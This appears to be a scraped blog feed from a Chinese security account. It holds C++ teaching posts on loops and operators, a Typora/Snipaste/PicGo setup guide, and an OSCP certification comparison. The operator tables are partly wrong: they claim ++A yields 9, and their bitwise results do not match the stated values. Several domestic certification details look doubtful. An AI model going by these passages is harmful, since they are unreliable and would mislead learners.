23 goto start2; //慎用goto，容易死循环。 24 25start2: 26 for (int j = 11; j \u0026lt;= 20; j++) { 27 if (j == 15) { 28 cout \u0026lt;\u0026lt; \u0026#34;遇到 15，使用 goto 跳转到标签 end\u0026#34; \u0026lt;\u0026lt; endl; 29 goto end; // 跳转到标签 end 30 } 31 32 cout \u0026lt;\u0026lt; \u0026#34;当前数字: \u0026#34; \u0026lt;\u0026lt; j \u0026lt;\u0026lt; endl; 33 } 34 35end: 36 cout \u0026lt;\u0026lt; \u0026#34;程序结束\u0026#34; \u0026lt;\u0026lt; endl; 37 return 0; 38} 经典案例 经典案例-猜数字游戏 1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cstdlib\u0026gt; // 包含 rand() 和 srand() 3#include \u0026lt;ctime\u0026gt; // 包含 time() 4using namespace std; 5 6int main() { 7 srand(static_cast\u0026lt;unsigned int\u0026gt;(time(0))); // 使用当前时间作为随机数种子 8 int numberToGuess = rand() % 100 + 1; // 生成 1 到 100 之间的随机数 9 int guess; 10 int attempts = 0; 11 char playAgain; 12 13 do { 14 cout \u0026lt;\u0026lt; \u0026#34;猜数字游戏开始！\u0026#34; \u0026lt;\u0026lt; endl; 15 cout \u0026lt;\u0026lt; \u0026#34;我已经想好了一个 1 到 100 之间的数字。\u0026#34; \u0026lt;\u0026lt; endl; 16 17 // while 循环用于猜测数字 18 while (true) { 19 cout \u0026lt;\u0026lt; \u0026#34;请输入你的猜测: \u0026#34;; 20 cin \u0026gt;\u0026gt; guess; 21 attempts++; 22 23 if (guess \u0026lt; numberToGuess) { 24 cout \u0026lt;\u0026lt; \u0026#34;太小了！\u0026#34; \u0026lt;\u0026lt; endl; 25 } 26 else if (guess \u0026gt; numberToGuess) { 27 cout \u0026lt;\u0026lt; \u0026#34;太大了！\u0026#34; \u0026lt;\u0026lt; endl; 28 } 29 else { 30 cout \u0026lt;\u0026lt; \u0026#34;恭喜你，猜对了！你用了 \u0026#34; \u0026lt;\u0026lt; attempts \u0026lt;\u0026lt; \u0026#34; 次猜对了数字。\u0026#34; \u0026lt;\u0026lt; endl; 31 break; 32 } 33 } 34 35 // for 循环用于询问是否再次玩游戏 36 for (;;) { 37 cout \u0026lt;\u0026lt; \u0026#34;你想再玩一次吗？(y/n): \u0026#34;; 38 cin \u0026gt;\u0026gt; playAgain; 39 if (playAgain == \u0026#39;y\u0026#39; || playAgain == \u0026#39;Y\u0026#39; || playAgain == \u0026#39;n\u0026#39; || playAgain == \u0026#39;N\u0026#39;) { 40 break; 41 } 42 else { 43 cout \u0026lt;\u0026lt; \u0026#34;无效输入，请输入 \u0026#39;y\u0026#39; 或 \u0026#39;n\u0026#39;。\u0026#34; \u0026lt;\u0026lt; endl; 44 } 45 } 46 47 if (playAgain == \u0026#39;y\u0026#39; || playAgain == \u0026#39;Y\u0026#39;) { 48 numberToGuess = rand() % 100 + 1; // 生成新的随机数 49 attempts = 0; // 重置尝试次数 50 } 51 52 } while (playAgain == \u0026#39;y\u0026#39; || playAgain == \u0026#39;Y\u0026#39;); 53 54 cout \u0026lt;\u0026lt; \u0026#34;感谢你玩猜数字游戏！\u0026#34; \u0026lt;\u0026lt; endl; 55 return 0; 56} 经典案例-水仙花数 1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cmath\u0026gt; // 包含 pow() 函数 3using namespace std; 4/* 5* 次方之和等于该数本身。例如，对于三位数来说，如果一个数等于其各位数字的立方和，则该数为水仙花数。 6例如： 7•\t153 是一个三位数的水仙花数，因为 (1^3 + 5^3 + 3^3 = 153)。 8•\t370 是一个三位数的水仙花数，因为 (3^3 + 7^3 + 0^3 = 370)。 9*/ 10int main() { 11 int number = 100; // 从 100 开始，因为 100 是最小的三位数 12 13 cout \u0026lt;\u0026lt; \u0026#34;三位数中的所有水仙花数如下：\u0026#34; \u0026lt;\u0026lt; endl; 14 15 do { 16 int sum = 0; 17\tint temp = number; // 临时变量，用于计算各位数字的立方和 18 while (temp \u0026gt; 0) { 19 int digit = temp % 10; 20 sum += pow(digit, 3); 21 temp /= 10; // temp=temp/10，每次循环往前近一位，去掉最后一位 22 } 23 24 if (sum == number) { 25 cout \u0026lt;\u0026lt; number \u0026lt;\u0026lt; \u0026#34; \u0026#34;; 26 } 27 28 number++; 29 } while (number \u0026lt;= 999); // 999 是最大的三位数 30 31 cout \u0026lt;\u0026lt; endl; 32 return 0; 33} 拓展：四位水仙花数\n经典案例-敲桌子游戏 1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;string\u0026gt; // 添加此行以包含字符串库 3using namespace std; 4 5int main() { 6 cout \u0026lt;\u0026lt; \u0026#34;敲桌子游戏开始！\u0026#34; \u0026lt;\u0026lt; endl; 7 8 for (int i = 1; i \u0026lt;= 100; i++) { 9 // 检查是否是 7 的倍数或者包含数字 7 10 if (i % 7 == 0 || to_string(i).find(\u0026#39;7\u0026#39;) != string::npos) { 11 cout \u0026lt;\u0026lt; \u0026#34;敲桌子\u0026#34; \u0026lt;\u0026lt; endl; 12 } 13 else { 14 cout \u0026lt;\u0026lt; i \u0026lt;\u0026lt; endl; 15 } 16 } 17 18 return 0; 19} 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-01-21T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120100511647.png","permalink":"/post/04x%E7%A8%8B%E5%BA%8F%E6%B5%81%E7%A8%8B%E7%BB%93%E6%9E%8424-41/","title":"04x程序流程结构"},{"content":" 关注公众号，后台回复 找书+ C++Primer 获取C++相关电子书。\n算术运算符 下表显示了 C++ 支持的算术运算符。\n假设变量 A 的值为 10，变量 B 的值为 20，则：\n运算符 描述 实例 + 把两个操作数相加 A + B 将得到 30 - 从第一个操作数中减去第二个操作数 A - B 将得到 -10 * 把两个操作数相乘 A * B 将得到 200 / 分子除以分母 B / A 将得到 2 % 取模运算符，整除后的余数 B % A 将得到 0 ++ 自增运算符，整数值增加 1 A++ 将得到 11，++A得9 \u0026ndash; 自减运算符，整数值减少 1 A\u0026ndash; 将得到 9，\u0026ndash;A得11 注意除法，整数除整除还是整数，只会保留整数部分，直接去除小数部分（不是四舍五入）。\n1#include\u0026lt;iostream\u0026gt; 2using namespace std; 3 4int c; // 声明全局变量 c 5int e; // 声明全局变量 e 6int main() 7{ 8\tint d = 10; // 测试自增、自减 9\tcout \u0026lt;\u0026lt; \u0026#34;d=\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 10\tc = d++; 11\tcout \u0026lt;\u0026lt; \u0026#34;d=\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 12\tcout \u0026lt;\u0026lt; \u0026#34;C=d++ 的值是 \u0026#34; \u0026lt;\u0026lt; c \u0026lt;\u0026lt; endl; 13\td = 10; // 重新赋值 14\tcout \u0026lt;\u0026lt; \u0026#34;d=\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 15\te = ++d; 16\tcout \u0026lt;\u0026lt; \u0026#34;d=\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 17\tcout \u0026lt;\u0026lt; \u0026#34;e=++d 的值是 \u0026#34; \u0026lt;\u0026lt; e \u0026lt;\u0026lt; endl; 18 19\td = 10; // 重新赋值 20\tcout \u0026lt;\u0026lt; \u0026#34;d=\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 21\tc = d--; 22\tcout \u0026lt;\u0026lt; \u0026#34;d=\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 23\tcout \u0026lt;\u0026lt; \u0026#34;c=d-- 的值是 \u0026#34; \u0026lt;\u0026lt; c \u0026lt;\u0026lt; endl; 24\td = 10; // 重新赋值 25\tcout \u0026lt;\u0026lt; \u0026#34;d=\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 26\te = --d; 27\tcout \u0026lt;\u0026lt; \u0026#34;d=\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 28\tcout \u0026lt;\u0026lt; \u0026#34;e=--d 的值是 \u0026#34; \u0026lt;\u0026lt; e \u0026lt;\u0026lt; endl; 29 30\treturn 0; 31 32} 注意++ \u0026ndash; 的位置，A++和++A不一样。A\u0026ndash;和\u0026ndash;A不一样。C=d++，先算等，后算加，C=++d，是先算加，后算等。\n关系运算符 下表显示了 C++ 支持的关系运算符。\n假设变量 A 的值为 10，变量 B 的值为 20，则：\n运算符 描述 实例 == 检查两个操作数的值是否相等，如果相等则条件为真。 (A == B) 不为真。 != 检查两个操作数的值是否相等，如果不相等则条件为真。 (A != B) 为真。 \u0026gt; 检查左操作数的值是否大于右操作数的值，如果是则条件为真。 (A \u0026gt; B) 不为真。 \u0026lt; 检查左操作数的值是否小于右操作数的值，如果是则条件为真。 (A \u0026lt; B) 为真。 \u0026gt;= 检查左操作数的值是否大于或等于右操作数的值，如果是则条件为真。 (A \u0026gt;= B) 不为真。 \u0026lt;= 检查左操作数的值是否小于或等于右操作数的值，如果是则条件为真。 (A \u0026lt;= B) 为真。 逻辑运算符 下表显示了 C++ 支持的关系逻辑运算符。\n假设变量 A 的值为 1，变量 B 的值为 0，则：\n运算符 描述 实例 \u0026amp;\u0026amp; 称为逻辑与运算符。如果两个操作数都 true，则条件为 true。 (A \u0026amp;\u0026amp; B) 为 false。 || 称为逻辑或运算符。如果两个操作数中有任意一个 true，则条件为 true。 (A || B) 为 true。 ! 称为逻辑非运算符。用来逆转操作数的逻辑状态，如果条件为 true 则逻辑非运算符将使其为 false。 !(A \u0026amp;\u0026amp; B) 为 true。位运算符 位运算符 位运算符作用于位，并逐位执行操作。\u0026amp;、 | 和 ^ 的真值表如下所示：\np q p \u0026amp; q p | q p ^ q 0 0 0 0 0 0 1 0 1 1 1 1 1 1 0 1 0 0 1 1 运算符 描述 实例 \u0026amp; 按位与操作，按二进制位进行\u0026quot;与\u0026quot;运算。运算规则：0\u0026amp;0=0; 0\u0026amp;1=0; 1\u0026amp;0=0; 1\u0026amp;1=1; (A \u0026amp; B) 将得到 12，即为 0000 1100 | 按位或运算符，按二进制位进行\u0026quot;或\u0026quot;运算。运算规则：`0 0=0; 0 ^ 异或运算符，按二进制位进行\u0026quot;异或\u0026quot;运算。运算规则：0^0=0; 0^1=1; 1^0=1; 1^1=0; (A ^ B) 将得到 49，即为 0011 0001 ~ 取反运算符，按二进制位进行\u0026quot;取反\u0026quot;运算。运算规则：~1=-2; ~0=-1; (~A ) 将得到 -61，即为 1100 0011，一个有符号二进制数的补码形式。 \u0026laquo; 二进制左移运算符。将一个运算对象的各二进制位全部左移若干位（左边的二进制位丢弃，右边补0）。 A \u0026laquo; 2 将得到 240，即为 1111 0000 \u0026raquo; 二进制右移运算符。将一个数的各二进制位全部右移若干位，正数左补0，负数左补1，右边丢弃。 A \u0026raquo; 2 将得到 15，即为 0000 1111 赋值运算符 下表列出了 C++ 支持的赋值运算符：\n运算符 描述 实例 = 简单的赋值运算符，把右边操作数的值赋给左边操作数 C = A + B 将把 A + B 的值赋给 C += 加且赋值运算符，把右边操作数加上左边操作数的结果赋值给左边操作数 C += A 相当于 C = C + A -= 减且赋值运算符，把左边操作数减去右边操作数的结果赋值给左边操作数 C -= A 相当于 C = C - A *= 乘且赋值运算符，把右边操作数乘以左边操作数的结果赋值给左边操作数 C *= A 相当于 C = C * A /= 除且赋值运算符，把左边操作数除以右边操作数的结果赋值给左边操作数 C /= A 相当于 C = C / A %= 求模且赋值运算符，求两个操作数的模赋值给左边操作数 C %= A 相当于 C = C % A \u0026laquo;= 左移且赋值运算符 C \u0026laquo;= 2 等同于 C = C \u0026laquo; 2 \u0026raquo;= 右移且赋值运算符 C \u0026raquo;= 2 等同于 C = C \u0026raquo; 2 \u0026amp;= 按位与且赋值运算符 C \u0026amp;= 2 等同于 C = C \u0026amp; 2 ^= 按位异或且赋值运算符 C ^= 2 等同于 C = C ^ 2 |= 按位或且赋值运算符 C |= 2 等同于 C = C | 2 注意 C = d++，和C+=d，C= ++d的区别。\n杂项运算符 下表列出了 C++ 支持的其他一些重要的运算符。\n运算符 描述 sizeof sizeof 运算符返回变量的大小。例如，sizeof(a) 将返回 4，其中 a 是整数。 Condition ? X : Y 条件运算符。如果 Condition 为真 ? 则值为 X : 否则值为 Y。（短行判断） , 逗号运算符会顺序执行一系列运算。整个逗号表达式的值是以逗号分隔的列表中的最后一个表达式的值。 .（点）和 -\u0026gt;（箭头） 成员运算符用于引用类、结构和共用体的成员。 Cast 强制转换运算符把一种数据类型转换为另一种数据类型。例如，int(2.2000) 将返回 2。 \u0026amp; 指针运算符 \u0026amp; 返回变量的地址。例如 \u0026amp;a; 将给出变量的实际地址。 * 指针运算符 * 指向一个变量。例如，*var; 将指向变量 var。 C++ 中的运算符优先级 运算符的优先级确定表达式中项的组合。这会影响到一个表达式如何计算。某些运算符比其他运算符有更高的优先级，例如，乘除运算符具有比加减运算符更高的优先级。\n例如 x = 7 + 3 * 2，在这里，x 被赋值为 13，而不是 20，因为运算符 * 具有比 + 更高的优先级，所以首先计算乘法 3*2，然后再加上 7。\n下表将按运算符优先级从高到低列出各个运算符，具有较高优先级的运算符出现在表格的上面，具有较低优先级的运算符出现在表格的下面。在表达式中，较高优先级的运算符会优先被计算。\n类别 运算符 结合性 后缀 () [] -\u0026gt; . ++ - - 从左到右 一元 + - ! ~ ++ - - (type)* \u0026amp; sizeof 从右到左 乘除 * / % 从左到右 加减 + - 从左到右 移位 \u0026laquo; \u0026raquo; 从左到右 关系 \u0026lt; \u0026lt;= \u0026gt; \u0026gt;= 从左到右 相等 == != 从左到右 位与 AND \u0026amp; 从左到右 位异或 XOR ^ 从左到右 位或 OR | 从左到右 逻辑与 AND \u0026amp;\u0026amp; 从左到右 逻辑或 OR || 从左到右 条件 ?: 从右到左 赋值 = += -= *= /= %=\u0026raquo;= \u0026laquo;= \u0026amp;= ^= |= 从右到左 逗号 , 从左到右 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-01-19T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250117120107329.png","permalink":"/post/03x%E8%BF%90%E7%AE%97%E7%AC%A616-23/","title":"03x 运算符16-23"},{"content":"在日常工作中，效率是每位极客与技术爱好者追求的核心目标。无论是文档编辑、截图还是图片上传，合适的工具能大大提升你的工作效率。今天，我们为大家推荐三款强大且高效的工具：Typora、Snipaste 和 PicGo。这些工具不仅操作简便，而且功能强大，能够帮助你快速完成各项任务。让我们来一探究竟！\n🛠️ 第一步：下载必备工具 🛠️ 在开始之前，第一步是下载所需的工具。大多数工具都可以直接从官网下载安装，但请注意，个别工具可能需要梯子才能顺利下载。如果你在国内遇到下载困难，别担心，下文中已经为你提供了国内镜像链接，帮助你更快速地获取这些工具。快来下载吧！\n🚀 必备工具下载与官网链接 🚀 1. Typora — 极简 Markdown 编辑器 官网：Typora 官网 下载链接（64位 Windows）：点击下载 Typora 64位版 2. Snipaste — 强大的截图工具 官网：Snipaste 官网 下载链接（Windows 版）：点击下载 Snipaste 3. PicGo — 图片上传工具 官网：PicGo 官网\n下载链接（Windows 版）：点击下载 PicGo（山东大学镜像）\n🚀 获取软件工具包！ 🚀\n关注 泷羽Sec-静安 公众号，后台回复 找工具+20250115 即可获得最新软件安装包下载链接，助你快速提升工作效率！赶快关注我们吧！💻🔧\n🛠️ 第二步：安装与设置工具 🛠️ 1. 安装工具 双击安装包：下载完成后，双击安装包进行安装。 推荐更改安装路径：为了节省C盘空间，建议将安装路径更改为D盘。例如，在安装过程中选择“自定义安装”，然后选择D盘作为目标路径。 2. Typora 设置 a. 激活 Typora 购买激活：访问 Typora 官网 进行正版购买并获取激活码。 教程参考：如果需要更多激活方式，可以在网上搜索相关教程。 b. 安装主题 下载主题：访问 Typora 主题库，选择并下载你喜欢的主题。 应用主题： 解压下载的主题文件。 将解压后的主题文件夹复制到 Typora 的主题目录。路径为：文件 -\u0026gt; 偏好设置 -\u0026gt; 外观选项 -\u0026gt; 主题文件夹。 重启 Typora，在“外观”选项中选择新安装的主题。本文图示所用主题为 Haru c. 链接 Picgo 设置图片上传： 打开 Typora，进入 文件 -\u0026gt; 偏好设置 -\u0026gt; 图像。 在“插入图片时上传图片”选项中，勾选该功能。 设置上传服务为 Picgo 的安装路径。通常，软件会自动检测 Picgo 的安装路径，如果未检测到，可手动设置为 Picgo 的安装目录，例如 D:\\Program Files\\Picgo\\PicGo.exe 或你安装 Picgo 时选择的路径。 d. Typora 使用技巧 记录笔记与博客：Typora 是一款极简的 Markdown 编辑器，适合用来记录笔记和撰写博客内容。\nMarkdown 语法简要提示：\n标题：使用 # 表示不同级别的标题，例如 # 一级标题，## 二级标题。 加粗：使用 **文本** 或 __文本__ 实现加粗效果。 斜体：使用 *文本* 或 _文本_ 实现斜体效果。 列表：使用 - 或 * 创建无序列表，使用数字加点创建有序列表。 链接：使用 [链接文本](链接地址) 生成超链接。 图片：使用 ![图片描述](图片地址) 插入图片。 代码块：使用三个反引号 ``` 包裹代码内容，支持多种编程语言的语法高亮。 快捷插入图片：\n复制粘贴：将图片复制到剪贴板后，直接在 Typora 中按 Ctrl + V，Typora 会自动将图片转换为 Markdown 语法并通过 Picgo 上传图床。 自动上传图床：配合 Picgo 使用时，图片会自动上传至配置好的图床服务，无需手动插入图片链接。这对于在多个支持 Markdown 语法的平台（如 CSDN、个人博客、GitHub、Gitee、掘金等）发布内容时，非常方便高效。 3. Snipaste 设置 a. 更改语言为中文 右键点击状态栏的图标，选择 “Preference” 进入设置界面。 在设置界面中，点击 输出 -\u0026gt; 语言，然后选择 中文，方便后续使用和操作。 b. 自动保存截图 在 偏好设置 中，勾选 “自动保存” 选项。 设置好后，当你进行截图时，不需要再手动点击保存图标。只需要按下 F1，然后按 回车，截图就会自动保存。 这个功能在时间紧迫或需要快速连续截图的场景中非常实用。你无需担心是否保存了截图，因为它会自动保存到指定的文件夹。默认情况下，截图会保存在 “图片” 文件夹中，你也可以在设置中更改保存路径。只要一段时间后定期清理文件夹，就能避免文件过多堆积。\nc. 钉住图片功能 Snipaste 还有一个非常方便的 “钉住图片” 功能。在截图之后，你可以点击工具栏中的 “钉子”图标，将图片固定在屏幕的最上层。即便你切换到其他应用程序，钉住的截图依然会保持在最上层。\n这个功能特别适合在进行代码审计、核对列表、对照信息或照抄代码时使用。你可以随时看到截图内容，无需来回切换应用，大大提升工作效率。\n4. Picgo 设置 a. 选择图床服务 打开 Picgo 主界面，点击右上角的 “Picgo 设置” 进入配置界面。 在设置界面中，勾选你打算使用的图床。本文使用的是 阿里云 OSS 作为图床，Picgo 也支持多种其他图床服务，如 七牛云、腾讯云、又拍云、SM.MS、GitHub 等。根据你的需求选择适合的图床。 b. 配置图床账户信息 点击 “图床设置”，然后在相应图床服务下选择 “新建设置”。 按照图床服务商（如阿里云 OSS、七牛云等）提供的账户信息，填写相关的配置信息。 对于阿里云 OSS，你需要输入 AccessKeyId、AccessKeySecret、Bucket 名称 等信息。 对于其他图床，配置方法类似，请根据服务商提供的文档逐项填写。 配置完成后，Picgo 会自动将图片上传到你选择的图床，并返回 Markdown 格式的链接，例如 ![](图片链接)。你可以直接将该链接插入到 Markdown 编辑器中。\nc. 配合 Typora 自动上传 如果你同时使用 Typora，Picgo 可以与 Typora 无缝配合，自动上传图片。当你插入图片时，Picgo 会自动上传到你配置的图床，并生成对应的 Markdown 语法链接。无需手动上传，极大提升工作效率。\nd. 图床与服务器设置疑问 如果你在设置过程中遇到任何问题，欢迎在公众号留言。如果大家有需要，我们也计划在后续推出详细的 图床与服务器设置教程，帮助大家快速配置并高效使用 Picgo。\n第三步： 🛡️ **保密与使用注意事项🛡️ ** 在以上步骤中，Typora 与 Picgo 配合使用时，图片会自动上传至图床。虽然这极大地方便了内容创作和发布，但在某些需要保密的情况下，上传到公共图床可能会带来隐私泄露的风险，因为图床默认是公开可读的。因此，在进行保密行动时，建议采取以下措施以减少潜在的泄露风险：\n1. 更改插图方式为本地保存 你可以将 Typora 的图片插入方式从 自动上传 改为 复制到本地文件夹。具体操作如下：\n在 Typora 中插入图片时，选择将图片保存到本地目录而不是上传至图床。 Typora 会在当前 Markdown 文件 所在目录下自动创建一个 图片文件夹，并将图片保存到该文件夹中。 插入图片时，Typora 会自动修改图片的 Markdown 语法为 ![](./文件夹/图片名)，确保图片文件与 Markdown 文件存储在同一目录。 这种方式确保图片文件仅保存在本地，不会上传到公共图床，适合需要保密的工作环境。\n2. 结束后清理文件 在完成保密任务后，若需要清理工作文件，请务必注意以下几点：\n清理 Snipaste 的自动保存文件夹，避免敏感截图被保留。Snipaste 默认将截图保存在 “图片” 文件夹，建议定期检查并删除不再需要的截图文件。 检查本地存储的图片文件夹，删除所有不必要的图片，确保数据安全。 通过这些措施，你可以有效避免在保密任务中泄露敏感信息，保护个人和组织的数据安全。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-01-15T18:26:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250115105539174.png","permalink":"/post/%E6%9E%81%E5%AE%A2%E9%BB%91%E5%AE%A2%E7%9A%84%E6%95%88%E7%8E%87%E7%A5%9E%E5%99%A8-typora-snipest-%E4%B8%8E-picgo-%E5%BF%AB%E9%80%9F%E5%8F%91%E5%B8%83%E6%95%99%E7%A8%8B/","title":"极客黑客的效率神器：Typora、Snipaste 与 Picgo 快速发布教程"},{"content":"什么是OSCP OSCP（Offensive Security Certified Professional）是由 Offensive Security 推出的渗透测试认证考试，是全球最受认可、含金量最高的渗透测试认证之一。其配套课程 PWK（Penetration Testing with Kali Linux）专为希望成为渗透测试专家的安全专业人士设计。课程内容侧重于使用 Kali Linux 系统进行渗透测试，帮助学员全面理解网络攻击的技术和手段。\nOSCP 认证面向的群体主要是系统管理员、安全工程师以及那些有志于从事渗透测试工作的专业人士，无论你是刚入行的安全服务工程师，还是希望提升自己技术水平的中高级红队成员，OSCP 都是进入渗透测试领域的理想选择。\n通过参加 OSCP 培训，你将获得关于渗透测试的深入知识，学习如何发现、利用漏洞并进行完整的渗透测试，帮助你从专业角度理解和应对网络安全威胁。作为业界最具历史和影响力的认证之一，OSCP 培养的渗透测试技能被广泛应用于各种安全服务和防护措施中，是进入高级网络安全领域的关键一步。\n国外相似认证 在网络安全领域，除了 OSCP（Offensive Security Certified Professional） 认证，还有很多其他类似的渗透测试和网络安全认证。以下是几个知名的认证及其与 OSCP 的对比：\n1. CEH（Certified Ethical Hacker） 认证机构：EC-Council 认证目标：CEH 旨在培养能够合法攻击系统的道德黑客，通过模拟网络攻击来评估和加强系统的安全性。 课程内容：CEH 提供的知识涉及网络攻击、扫描工具、漏洞分析、社会工程学等内容。 与 OSCP 的对比： 难度与实践：OSCP 更注重实践，要求考生完成实际的渗透测试，并通过挑战性的实际操作来完成认证；而 CEH 更侧重理论，考试是选择题，内容更广泛，适合入门级的安全从业者。 认证目标：OSCP 主要是面向那些希望深入渗透测试的人员，CEH 适合初学者及更注重知识广度的安全人员。 2. CPT (Certified Penetration Tester) 认证机构：IACRB（International Association of Computer Security Professionals） 认证目标：CPT 是一项侧重渗透测试的认证，要求考生展示他们在不同渗透测试场景中的能力。 课程内容：CPT 涵盖了渗透测试的各个方面，包括漏洞扫描、网络攻击、Web 渗透、无线网络安全等。 与 OSCP 的对比： 实战性：OSCP 更侧重实际操作和渗透测试，强调通过 Kali Linux 工具进行的攻防对抗，而 CPT 同样关注渗透测试技能，但课程内容更宽泛，可能缺少 OSCP 那种“手把手”实践的深度。 难度：OSCP 的考试要求考生完成一系列真实环境中的渗透测试任务，而 CPT 的考试可能更多关注特定知识点的测试。 3. GPEN（GIAC Penetration Tester） 认证机构：SANS Institute 认证目标：GPEN 认证旨在验证考生在渗透测试中的实际技能，尤其是在漏洞扫描、利用漏洞和报告方面的能力。 课程内容：GPEN 课程包括渗透测试的技术细节，如漏洞扫描、Web 安全、无线渗透测试等。 与 OSCP 的对比： 理论 vs 实践：OSCP 更加注重实践和攻防实操，要求在考试中通过实践完成渗透测试任务，而 GPEN 的课程在理论与实践的平衡上略微偏重理论，考试也包含理论知识测试。 难度：OSCP 是一个非常注重挑战性的认证，要求考生对渗透测试有深入的理解和实践经验。相比之下，GPEN 的认证更注重从攻防对抗的全局角度理解渗透测试，难度较为适中。 4. ECSA (EC-Council Certified Security Analyst) 认证机构：EC-Council 认证目标：ECSA 认证专为已经有一定渗透测试经验的人员设计，重点培训如何分析渗透测试的结果，并提供深入的报告分析。 课程内容：包括漏洞评估、网络渗透测试、Web 渗透测试、无线渗透等，并要求考生能够有效地分析、评估和汇报渗透测试结果。 与 OSCP 的对比： 侧重点不同：OSCP 更侧重渗透测试的实际操作和技术应用，而 ECSA 更侧重渗透测试的分析和报告部分，适合那些希望从事安全分析、渗透测试评估工作的专业人员。 5. PNPT (Practical Network Penetration Tester) 认证机构：TCM Security 认证目标：PNPT 专为渗透测试人员设计，目标是评估其在进行网络渗透测试时的技术能力。 课程内容：PNPT 强调网络渗透测试的实际技能，包括信息收集、漏洞扫描、攻击方法、利用漏洞等。 与 OSCP 的对比： 考试方式：PNPT 同样以实际操作为基础，考生需在规定的时间内完成网络渗透测试任务，类似于 OSCP 的考试模式，实操性较强。 难度：PNPT 的考试也非常重视实战操作，但相比 OSCP，它的难度和挑战性可能略低一些，适合那些初步进入渗透测试领域的人。 总结对比： 实践性： OSCP 是目前渗透测试认证中最注重实际操作的认证之一，考生必须通过一系列挑战性的渗透测试任务。其他认证（如 CEH、GPEN、ECSA）相较之下，可能更多依赖理论考试和知识点评估。 难度： OSCP 被认为是最具挑战性的渗透测试认证之一，尤其适合那些有一定经验的安全专业人士。CEH 相对简单一些，更适合初学者。 适用群体： 如果你希望成为一名渗透测试专家或红队成员，OSCP 是最理想的选择；而 CEH 和 GPEN 适合那些希望全面了解网络安全的人员，特别是针对不同的安全分析和管理方向。 认证含金量： OSCP 和 GPEN 都是国际上非常知名且认可度高的认证，但 OSCP 更侧重渗透测试技术，含金量可能稍高于其他认证。 中国国内相似认证 1. CISP (注册信息安全专业人员) 认证机构：中国信息安全评测认证中心（CNITSEC） 认证目标：CISP 是中国信息安全行业的一项国家级认证，旨在提升信息安全技术人员的专业能力。包括专门的 CISP 渗透测试工程师认证，侧重渗透测试、漏洞分析和网络攻防技术。 课程内容：渗透测试的基本技术、漏洞利用、信息收集、攻击与防御、网络安全策略等。考生需掌握实际的渗透测试技能，并能够处理网络安全问题。 与 OSCP 的对比： 相似点：CISP 渗透测试认证强调实践，考生需掌握渗透测试技术和攻击防御策略。 区别：CISP 更加注重中国本土的网络安全标准和政策，认证范围较广，除了渗透测试外，还涵盖其他信息安全领域。 2. CWAPT (Certified Web Application Penetration Tester) 认证机构：中国网络安全审计中心（CCSA） 认证目标：CWAPT 认证专注于 Web 渗透测试，即测试和攻击 Web 应用程序的安全性。 课程内容：涵盖 Web 应用的漏洞识别、利用漏洞进行攻击、SQL 注入、XSS、CSRF 等常见漏洞的测试和攻击方法。该认证强调攻击与防护，并通过实战测试评估技术能力。 与 OSCP 的对比： 相似点：CWAPT 与 OSCP 都注重实际操作，要求考生能够在真实环境中进行渗透测试，并使用合适的工具进行攻击。 区别：CWAPT 主要针对 Web 安全进行认证，范围较为狭窄，专注于 Web 应用的渗透测试，而 OSCP 包含更广泛的渗透测试技能。 3. CPT (Certified Penetration Tester) 认证机构：中国网络安全认证中心（CNSA） 认证目标：CPT 是一种针对渗透测试的技术认证，旨在通过严格的考试，评估考生在渗透测试领域的实际操作能力和知识储备。 课程内容：渗透测试的各个方面，包括信息收集、漏洞扫描、利用漏洞、Web 渗透、密码破解等技术，考生需要掌握常见的渗透测试技术和工具。 与 OSCP 的对比： 相似点：CPT 与 OSCP 都注重实战操作，考生需要在特定的渗透测试环境中完成任务，并提交结果。 区别：CPT 认证的重点在渗透测试技术上，但没有 OSCP 那样严格的挑战性和综合的渗透测试流程，考试难度相对较低。 4. PET (Penetration Tester) 认证机构：中国信息安全技术认证中心（CICT） 认证目标：PET 认证专门针对渗透测试人员，旨在测试考生在各种渗透测试任务中的综合能力，涵盖从信息收集到攻击、利用漏洞、报告撰写等多方面技能。 课程内容：包括渗透测试的基础知识、漏洞分析、网络渗透、Web 安全、密码学等技术，侧重实际操作并提供现场考试。 与 OSCP 的对比： 相似点：PET 认证与 OSCP 相似，注重考生的实战技能，考试中要求完成渗透测试任务，并解决实际问题。 区别：PET 可能较为基础，适合初级渗透测试工程师，而 OSCP 适合有一定渗透测试经验并希望进一步提升的中高级安全从业人员。 总结对比： OSCP 是全球最具权威的渗透测试认证之一，深度涵盖渗透测试的各个方面，认证的难度较高，适合有一定渗透测试基础的人员。它侧重于考察考生在真实环境中的问题解决能力和综合应用能力。 国内认证 如 